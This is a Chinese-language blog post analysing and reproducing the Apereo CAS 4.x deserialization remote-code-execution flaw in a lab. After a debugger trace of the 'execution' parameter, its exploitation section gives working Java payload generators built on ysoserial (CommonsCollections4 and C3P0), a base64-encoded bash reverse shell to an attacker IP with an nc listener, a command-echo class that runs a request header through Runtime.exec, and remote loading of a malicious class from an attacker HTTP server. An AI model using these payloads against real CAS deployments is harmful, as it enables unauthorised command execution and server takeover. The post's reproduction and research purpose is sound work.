Apereo Cas4.x 反序列化漏洞復現之復現分析與利用


前言

  接上一章調試環境搭建。本章將展開對Apereo Cas4.x詳細分析和利用

 

一、調試分析

Apereo Cas 4.1.X~4.1.6

 抓取登錄數據包

 

  Apereo CAS具體開發框架流程咱也不熟悉,從數據包中就關注兩點:POST傳參和execution;

剛好做過簡單的javaweb開發,知道在servlet層會存在doPost()方法接收request請求。

那么首先需要找到doPost()所在類,才能往下追蹤值的傳遞,而execution被封裝在request請求中,追蹤request傳遞即參數提取動作即可。

根據已搭建好的運行環境,Debug模式運行

在登錄頁面隨便輸入賬號密碼進行登錄

 

  接着F7進去查看,調用了processRequest方法,request請求繼續丟給doService()方法處理,此處doService()下個斷點,F9立刻跳到當前下的斷點

 

  F7跟進去查看,發現調用了DispatcherServlet類的doService方法

 

  標個斷點繼續往下跟,request經過checkMultipart處理返回給processedRequest,盯着它processedRequest,在下面調用了handle()方法進行處理

 

 

 跟進去發現引用的是FlowHandlerAdapter類的handle方法,這里關注調用的getFlowExecutionKey()和resumeExecution()方法

 

  通過getFlowExecutionKey(request)方法獲取前端post傳來的execution的值

FlowExecutionResult result = this.flowExecutor.resumeExecution(flowExecutionKey, context);

調用了resumeExecution()方法進行處理flowExecutionKey,繼續跟進該方法

 

  resumeExecution為FlowExecutorImpl實現類的方法。

方法中先調用了parseFlowExecutionKey方法處理

跟進查看parseFlowExecutionKey

 

  繼續跟進查看parse方法,發現通過”_”字符分割字符串flowExecutionKey為uuid和base64編碼的兩部分內容,最后查看返回值是我們追蹤的數據

FlowExecutionKey key = this.executionRepository.parseFlowExecutionKey(flowExecutionKey);

 

  接着看getFlowExecution方法,通過getData()函數將key轉成字節流,丟到decode方法解密處理

 

  ClientFlowExecutionRepository.SerializedFlowExecutionState state = (ClientFlowExecutionRepository.SerializedFlowExecutionState)this.transcoder.decode(encoded);

查看decode(),調用Decrypt方法解密,最后通過readObject讀取對象進行反序列化輸出,觸發漏洞。

 

  存在默認的加密密鑰

 

 

 

  當前類中同時定義了encode()方法,攻擊者可通過它生成惡意對象。

 

  整個解密執行過程大概醬紫:

 

  通過encode方法生成加密的字節數組並進行base64編碼,頭部拼接隨機生成uuid值,因為存在默認的加密密鑰值,導致攻擊者可偽造execution值;而項目依賴庫中存在commons-collections4-4.0.jar,該版本存在反序列化漏洞,通過精心構建execution值,可實現遠程命令執行。

 

Aperao Cas 4.1.7~4.2.X

直到org.jasig.spring.webflow.plugin.EncryptedTranscoder#decode方法的流程都一樣,在加解密部分發生了變化,直接上圖:

 

  查看cas.properties文件,看到4.2.7版本中並不存在默認的key,且名稱也發生變化,用的是webflow.encryption.key和webflow.signing.key

 

  在BinaryCipherExecutor類中,檢查這兩個值,當不存在的時候,就會隨機生成加密的key

感興趣可以在這里下斷點看看生成的key和singkey

 

  當decode時候,可以看到它隨機生成的16位key

 

 

二、漏洞利用

4.1.x~4.1.6

(1)遠程命令執行

根據前面的過程分析,隨機生成uuid

因為漏洞項目中存在commons-collections4-4.0.jar,所以需要調用ysoserial中的CommonsCollections4文件,引用的時候直接定義變量,賦值該類名即可

 

  確定payload類型后與要執行的命令通過makePayloadObject方法生成惡意對象

借助org.jasig.spring.webflow.plugin. EncryptedTranscoder#encode方法將惡意對象序列化並進行加密、編碼,拼接uuid組成惡意的execution值,發包達到命令執行效果。

 

 

  生成Payload的 代碼:

public class app{
public static void main(String[] args) throws IOException {
try {
String type = "CommonsCollections4";
String command = "cmd.exe /c calc.exe";
String id = UUID.randomUUID().toString();
Object obj = ObjectPayload.Utils.makePayloadObject(type, command);
EncryptedTranscoder et = new EncryptedTranscoder();
byte[] code = et.encode(obj);
String payload = Base64.getEncoder().encodeToString(code);
String data = URLEncoder.encode(id + "_" + payload, "UTF-8");
System.out.println(data);
} catch (Exception e) {
System.out.println(e.getMessage());
}
}

(2)Linux下,反彈shell

在線工具(http://www.jackson-t.ca/runtime-exec-payloads.html)生成反彈shell

 

其中192.168.3.35為模擬公網上的攻擊機,6666為端口號

將生成的bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMzUvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}再轉成payload

 

  先在192.168.3.35機子上開啟監聽

Kali上nc -lvp 6666

接着放包

 

  反彈成功。

 

 (3)命令執行並回顯

 

 根據大佬的說法以及對比網上大佬提供的代碼

可以看成三部分

 

 代碼:

public class CasExp{
public CasExp() throws IOException{
ExternalContext externalContext = ExternalContextHolder.getExternalContext();
Object request = externalContext.getNativeRequest();
Object response = externalContext.getNativeResponse();
HttpServletRequest httpServletRequest = (HttpServletRequest)request;
HttpServletResponse httpServletResponse = (HttpServletResponse)response;
String Command = httpServletRequest.getHeader("cmd");

Process proc = Runtime.getRuntime().exec(Command);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(proc.getInputStream(), "utf-8"));
StringBuffer stringBuffer = new StringBuffer();
String line;
while ((line = bufferedReader.readLine()) != null){
stringBuffer.append(line).append("\n");
}
String result = stringBuffer.toString();

ServletOutputStream servletOutputStream = httpServletResponse.getOutputStream();
servletOutputStream.write(result.getBytes());
servletOutputStream.flush();
servletOutputStream.close();

}
}

第一是獲取request請求,解析包中的自定義屬性cmd

然后去exec執行。因為第一次接觸,不熟悉它的用法,然后*度學習exec用法,再單獨寫個方法去測試。

 

  最后部分就是獲取exec執行結果返回servlet層,response到前端。

 接着要如何引用CasExp類?

將payloads\util\Gadgets.java文件createTemplatesImpl方法中的StubTransletPayload改成自定義的CasExp,注釋這里的cmd操作

 

  下面簡單去分析一下,先從前面的自定義的main開始

 

  使用ObjectPayload.Utils.makePayloadObject方法生成對象,跟進查看(選中makePayloadObject方法ctlr+鼠標左鍵單擊)

可以看到payloadType就是我們傳的“CommonsCollections4”(CC4),調用ysoserial中存在的該類

 

  通過newInstance方法實例化CC4,所以下面的getObject方法是CC4中的,用的不是當前所在類的類方法

查看getObject方法, 通過Gadgets.createTemplatesImpl創建templates類存儲危險的代碼

 

  跟進

 

 

  獲取ClassPool 容器,在容器中添加我們自定義的CasExp類,從而生成惡意的對象。

分析結束,試試漏洞回顯之旅

Command變量空字符即可

 

  在請求頭中添加cmd:命令,cmd:ipconfig

 

 

4.1.7~4.2.x

既然加密方法調用不一樣,先斷點調試ysoserial中的encrypt方法用的是?

 

  毫無疑問明顯不能直接用了

Key隨機生成,只能自己先編碼生成,然后寫到cas.properties文件中才行(這個漏洞有點雞肋了,除非通過任意文件下載cas.properties獲取密鑰)

在BinaryCipherExecutor中verifyAndSetKeys方法中生成key行代碼下斷點,debug到斷點處,將生成的signingKeyToUse和encryptionSecretKey拿出來。

 

  寫入靶機配置文件中

 

  這兩項雖然對結果沒有影響,為方便測試還得設置了它支持http

 

  將項目部署在tomcat中運行。(不會打包就網上直接下載cas-server-webapp-4.2.7項目源碼,丟到webapps下面行了。如果自己打包的war,在tomcat下直接跑會報錯,需要將cas.properties文件拷貝到項目的WEB-INF目錄下,同時修改propertyFileConfigurer.xml文件中的location,指向cas.properties)

 

  開始復現,根據加解密規則,寫了段代碼

   public static void main(String[] args) throws IOException {
        try {
            String type = "C3P0";
            String command = "http://192.168.200.106:6666/:CasExp42x";
            String id = UUID.randomUUID().toString();
            Object obj = ObjectPayload.Utils.makePayloadObject(type, command);
            BinaryCipherExecutor binaryCipherExecutor = new BinaryCipherExecutor("gJAmUFnxIsPKZDMF", "U0wsU1tdvKo-tsWEe5cGx6egiSgnIZF9DxH-OPFxfYN1ko8GVsSfUt5DIGMMznMLyKM1ZHgefsRfL7rpxlu_Xg");
            ByteArrayOutputStream outBuffer = new ByteArrayOutputStream();
            ObjectOutputStream out = null;
            try{
                out = new ObjectOutputStream(new GZIPOutputStream(outBuffer));
                out.writeObject(obj);
            }finally {
                if (out != null) {
                    out.close();
                }
            }
            byte[] btobj = outBuffer.toByteArray();
            byte[] code = binaryCipherExecutor.encode(btobj);
            String payload = Base64.getEncoder().encodeToString(code);
            String data = URLEncoder.encode(id + "_" + payload, "UTF-8");
            System.out.println(data);
        } catch (Exception e) {
            System.out.println(e.getMessage());
        }
    }

BinaryCipherExecutor構造器中的兩個參數為cas.properties文件中webflow.encryption.key、webflow.signing.key的值。

因為該版本沒有CommonsCollections4包了,而存在C3P0包,所以通過它進行利用,里面的IP為假定的公網服務器IP(這里是我的kali),端口隨意,不沖突即可,端口后面的CasExp42x為kali上的一個class文件

為什么command的值要這種格式?

查看payloads下C3P0文件,可以看到以最后一個冒號切割字符串,獲取攻擊者的公網ip和類名(實例化惡意對象執行命令)

 

  將CasExp42x.java編譯

 

 

   代碼:

public class CasExp42x {
    public CasExp42x(){
        try {
            java.lang.Runtime.getRuntime().exec(
                new String[]{"cmd.exe","/C","calc.exe"}
            );
        } catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        CasExp42x e = new CasExp42x();
    }
}

然后將CasExp42x.class文件拷貝到kali中

 

  注意:要使用BinaryCipherExecutor類必須導入cas-server-core-util-4.2.7.jar包,而ysoserial中默認沒有,所以以防其它錯誤,干脆將apereo cas4.2.7項目中的lib復制到ysoserial根目錄下

 

  然后在idea中導入這些依賴包,不會導的看前面的環境搭建內容。

運行app文件,生成execution值

 

  在kali上監聽開設的http服務端口6666

Python3 -m http.server 6666

 

  接着抓包替換execution值,發送

 

 成功遠程加載kali上的CasExp42x.class文件

可以看到監聽記錄有

 

  

踩坑:

1、一開始根據vulhub上的方式復現,生成的ch0mieBy文件,以為是在靶機上根盤下的二級子目錄tmp下

 

  還以為是命令執行不成功,但嘗試反彈shell命令又能被成功執行。。。。

所以猜想此tmp非彼tmp

反手就來個find查詢找正主

Find / -name ch0mieBy

 

  好家伙,原來是這個tmp。

 

2、過程中,有監聽記錄,但計算機並沒有彈出來

 

  去查看,tomcat日志文件

 

  提示找不到路徑。神奇,竟然會有我本地ysoserial項目的路徑信息

排查結果是class文件有問題,回頭看CasExp42x.java代碼

 

  因為CasExp42x.java文件直接在idea中創建的,所以包含了項目路徑:

package ysoserial.ApereoCasAttack.exploit

刪掉,重新生成class文件替換即可。

 

如有不對的地方,望各位大佬指正。

歡迎各位大佬關注公眾號”Fighter安全團隊“

文章都是第一時間發布至公眾號,讓我們共同學習相互進步

 

參考鏈接

http://0kam1.top/index.php/2020/08/01/29/

https://www.freebuf.com/vuls/226149.html

https://www.anquanke.com/post/id/198842

http://www.vuln.cn/6295

https://www.00theway.org/2020/01/04/apereo-cas-rce/

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM